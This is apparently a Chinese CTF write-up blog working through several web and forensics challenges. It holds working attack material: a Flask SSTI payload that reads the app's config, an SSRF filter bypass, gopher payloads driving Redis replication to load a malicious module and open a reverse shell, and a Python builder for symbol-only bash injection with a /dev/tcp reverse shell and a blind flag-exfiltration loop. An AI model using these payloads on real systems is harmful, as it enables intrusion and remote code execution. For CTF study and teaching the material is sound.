每天一道题,冲冲冲!
首页便给了一段flask代码,简单分析一下
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/' )
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{
{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
发现这一段代码
app.config['FLAG'] = os.environ.pop('FLAG')
#pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。
意思便是该题将FLAG存储到了配置变量中,但下面的代码过滤了config以及()
这个题考察的是SSTI,那下面就要想办法去使用config查看所有应用程序的配置值(FLAG值应该包含在其中),需要构造一个和config作用相同的payload,可以使用flask两个内置函数进行构造
url_for()
– 用于反向解析,生成urlget_flashed_messages()
– 用于获取flash消息先寻找一下全部全局变量
{
{
url_for.__globals__}}
{
{
get_flashed_messages.__globals__}}
{
{
url_for.__globals__['current_app'].config}}
{
{
get_flashed_messages.__globals__['current_app'].config}}
{
{
url_for.__globals__['current_app'].config['FLAG']}}
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
}
else{
highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>
这么长的代码,拆开来看,先看一下check_inner_ip函数
输入的需要匹配到http|https|gopher|dict
,下面了解这几个函数,就清楚这段代码所要表达的意思了
再来查看safe_request_url函数要表达的意思,先判断是否是内网IP,如果不是,再跳转到下面。
可以看篇文章
https://www.anquanke.com/post/id/86527
这个代码出现漏洞原因便在于,同时用了cURL和parse_url
所有的问题,几乎都是由URL解析器和请求函数的不一致造成的,即使有具体的规定,但是不同的编程语言仍然使用他们自己的实现
在cURL作为请求的实施者时,它最终将evil.com:80
作为了目标
而其他的几种URL解析器则得到了不一样的结果,则产生了不一致。
当他们被一起使用时,可以被利用的有如下的几种组合
所以可以就构造payload,利用cURL请求外网,利用parse_url请求内网信息
?url=http://1em9n@0.0.0.0/hint.php
0.0.0.0
代表本机ipv4的所有地址,使用ip2long函数处理后也是0,因此可以绕过去check_inner_ip函数的检测。
绕过去之后便发现这一段代码
得到redis的密码是root,这道题考察的是ssrf+redis getshell,但之前接触这方面的题过于少了,所以到这里是一点思路都没有
看了师傅们的WP,遇到ssrf+redis getshell这种的,考察一般都是以下几种姿势:
这道题看师傅们的WP,用的方法都是主从复制RCE,什么是主从复制那?
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
在redis4.0版本以上,可以进行主从复制,主从复制是为了备份文件,即主机复制写,从机负责读。思路就是开启恶意服务,让靶机redis认为此为redis服务器,利用主从复制,将恶意构造的exp.so文件加载到redis之中,从而实现getshll或命令执行
https://github.com/xmsec/redis-ssrf
https://github.com/n0b0dyCN/redis-rogue-server
要进行主从复制RCE,就需要利用到这两个工具,第一个用于生成payload,也可以启动恶意服务,第二个主要是exp.so。注意需要将第二个工具exp.so导入到第一个工具下,也就是和rogue-server.py同目录,这里先开启一下rogue-server.py
用于伪装为主redis,它开启的端口为6666
修改ssrf-redis.py
运行一下
生成了payload,但无法利用
看了师傅们的WP,就手动去构造吧,然后再进行二次url编码(因为用到了curl)
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit
#解码后即为
gopher://0.0.0.0:6379/_auth root
config set dir /tmp/
quit
//设置备份文件路径为/tmp/ 只有/tmp有权限 ,只需要有读权限即可,所以设置目录的时候要多试试
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520172.16.176.127%25206666%250d%250aquit
#解码后即为
gopher://0.0.0.0:6379/_auth root
config set dbfilename exp.so
slaveof 172.16.176.127 6666
quit
#设置备份文件名为:exp.so
gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520/tmp/exp.so%250d%250asystem.rev%2520172.16.176.127%25206663%250d%250aquit
#解码后即为
gopher://0.0.0.0:6379/_auth root
module load /tmp/exp.so
system.rev 172.16.176.127 6663
quit
#导入 exp.so ,反弹shell到172.16.176.127:6663
通过这道题学到了很多东西,ssrf+redis的考法还有很多种,会在另一篇博客中专门总结一下。
参考博客
https://www.jianshu.com/p/a940731cddaf
第一个if条件,md5强类型,没有强制限制类型,所有用数组就可以
param1[]=123¶m2[]=111
strtr() 函数转换字符串中特定的字符。
自己本地测试一下就知道了
第一个if($md5_1 != $md5_2)不能使用hash弱类型比较,经过strtr() 函数替换之后,再使用hash弱类型绕过,既然这个函数可以将md5中出现的cxhp
给替换成0123
,第一个参数找一个数字(必须为全数字),md5加密后只要是ce
开头的即可
payload:
http://121.196.32.184:8081/?param1[]=123¶m2[]=111&str1=2120624&str2=QNKCDZO
这里在写脚本找ce开头的数字时挺有趣的
md5加密之后只可能含有以下a、b、c、d、e、f这个几个字符
在写脚本的时候,一开始只认为只要开头是0e即可,但是测试发现行不通,明明也是0e开头,为什么不相等那?如:
并没有出现我们想要的flag,一开始以为是位数的问题,结果不是,观察了通用的Hash 比较缺陷,有一个共同的特征
后面都是数字,不包含字母,才能使用科学计数法进行弱类型比较
import hashlib
def md5(f):
return hashlib.md5(f).hexdigest()
for i in range(0, 10000000):
if 'c' in md5(str(i))[0:2]:
if 'a' not in md5(str(i))[2:]:
if 'b' not in md5(str(i))[2:]:
if 'e' not in md5(str(i))[2:]:
if 'd' not in md5(str(i))[2:]:
if 'f' not in md5(str(i))[2:]:
print 'i:' + str(i) + ' md5:' + md5(str(i))
正则表达式限制我们不能使用SSRF file_get_content函数的黑魔法了,那只能按照http或https协议来,然后下面有一个异常处理代码,如果发生异常则返回flase,恰好最后一段代码有一个!
,所以我们只要让代码异常抛出即可利用函数读取flag。
但这个异常不知道要如何利用,往下面看发现可以从这段代码中得到flase
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
只要满足传入的地址经过ip2long函数处理后和前面不相等即可
简单了解这几个函数的作用:
0.0.0.0
代表本机ipv4的所有地址,使用ip2long函数处理后也是0,便可以使用这个进行读取flag
payload:
?url=http://0.0.0.0/flag.php
源代码给出手机号,下面就是爆破验证码
得到验证码之后重置密码,登陆即可获取flag
代码也很简单,命令执行,但是构造payload只能使用这几个${#}\\(<)\
去构造,还是做题少,之前见的无字母数字构造webshell的都不行,只能看官方的WP。
先了解几个Shell符号
$# => 0
$# 的意思是参数的个数,这道题没有其余的参数所以会是 0
stdin是标准输入,一般指键盘输入到缓冲区里的东西
<<< 的用途是将任意字符串交由前面的指令执行
$(($#<$$)) => 1
(())表示整数扩展,只是执行,并不会返回值,$$ 代表的是目前的 pid ,pid 会 > 0 所以可以得到 1,${##} 也可以得到1
$((1<<1)) => 2
<<双小于号,用来将后继的内容重定向到左侧命令的stdin中
$((2#bbb)) => 任意数字
將 bbb 以二进制制转换成数字,其中2#表示二进制
命令替换: $(command)
算术扩展: $((arithmetic))
stdin重定向: command < file
stdin文字重定向: command <<< text
可变的字符串长度: ${#variable}
bash的参数数量: $#
bash进程ID: $$
Linux下高效编写Shell——shell特殊字符汇总
因为bash 可以用 $'\ooo'
的形式来表达任意字节(ooo 是字节转ascii 的八进制),所以可以执行任意命令
${
!#}<<<$'\154\163'
${
!#}<<<${
!#}\<\<\<\$\'\\${
##}$#${
##}\'
也就是
$0<<<$'\101'
101是A的ASCII码值,所以也是在尝试执行命令A
所以思路就是构造二进制,然后通过ASCII码转化得到所有字母,比如:
$'\154'
${
!#}<<<$((2#${
##}$#$#${
##}${
##}$#${
##}$#))
#2#表示二进制,再替换掉2
${
!#}<<<$(($((${
##}<<${
##}))#${
##}$#$#${
##}${
##}$#${
##}$#))
$'\163'
${
!#}<<<$(($((${
##}<<${
##}))#${
##}$#${
##}$#$#$#${
##}${
##}))
所以构造payload
#通过2进制得到所有的数字,八进制可以执行命令,所以得到七个数字即可
n = dict()
n[0] = '$#'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$(($((${##}<<${##}))<<${##}))'
n[5] = '$(($((${##}<<${##}))#${##}$#${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}$#))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'
因为这道题0也在白名单中,所以可以将$#
直接替换为0也可以,但还有一个问题,仔细看前面举的$'\154'
这个例子,如果bash直接解析的话是l,但是第一次解析的话只是数字
所以转换成数字之后就需要用到 <<<
来重定向了,但是一层不够,只用一层会出现 bash: $'\154': command not found
这样的报错,bash一次解析只能解析到成数字,需要第二次解析。需要给原先的命令添加转义字符
如:ls \
$0<<<$0\<\<\<\$\'\\${
##}$(($((${
##} <<${
##}))#${
##}0${
##}))$((${
##}<<$((${
##}<<${
##}))))\\${
##}$(($((${
##} <<${
##}))#${
##}${
##}0))$(($((${
##}<<${
##}))#${
##}${
##}))\\$((${
##}<<$((${
##} <<${
##}))))0\\$(($((${
##}<<${
##}))#${
##}0${
##}))$(($((${
##}<<${
##}))#${
##}${
##}${
##}))\'
无命令回显就用最常见的方法,反弹shell或者是盲注,记录一下师傅的脚本
import requests
n = dict()
n[0] = '0'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}0${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}0))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'
f=''
def str_to_oct(cmd): #命令转换成八进制字符串
s = ""
for t in cmd:
o = ('%s' % (oct(ord(t))))[2:]
s+='\\'+o
return s
def build(cmd): #八进制字符串转换成字符
payload = "$0<<<$0\<\<\<\$\\\'"
s = str_to_oct(cmd).split('\\')
for _ in s[1:]:
payload+="\\\\"
for i in _:
payload+=n[int(i)]
return payload+'\\\''
def get_flag(url,payload): #盲注函数
try:
data = {
'cmd':payload}
r = requests.post(url,data,timeout=1.5)
except:
return True
return False
#弹shell
'''
url = "http://121.41.231.75:7001/"
get_flag(url,(build('bash -i >& /dev/tcp/121.41.231.75/4444 0>&1')))
'''
#盲注
# '''
a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}@'
for i in range(1,50):
for j in a:
cmd=f'cat /flag|grep ^{f+j}&&sleep 3'
url = "http://121.41.231.75:7001/"
if get_flag(url,build(cmd)):
break
f = f+j
print(f)
#'''
第一眼看到的是flagbox,然后就binwalk一下,得到一个key值,使用VeraCrypt挂载一下硬盘
但是是假的,回过头看一下发现还有coolboy.swp
没有进行分析,应该是隐藏在这里
先用 fsstat findme
查看镜像信息
然后用 ext3grep --inode 2 findme
查看文件目录
接着用 ext3grep --restore-file .coolboy.swp findme
恢复指定的文件
但是是空的,使用vim -r RESTORED_FILES/.coolboy.swp
恢复它的内容。
得到真正的key值,再重新挂载flagbox,即可得到flag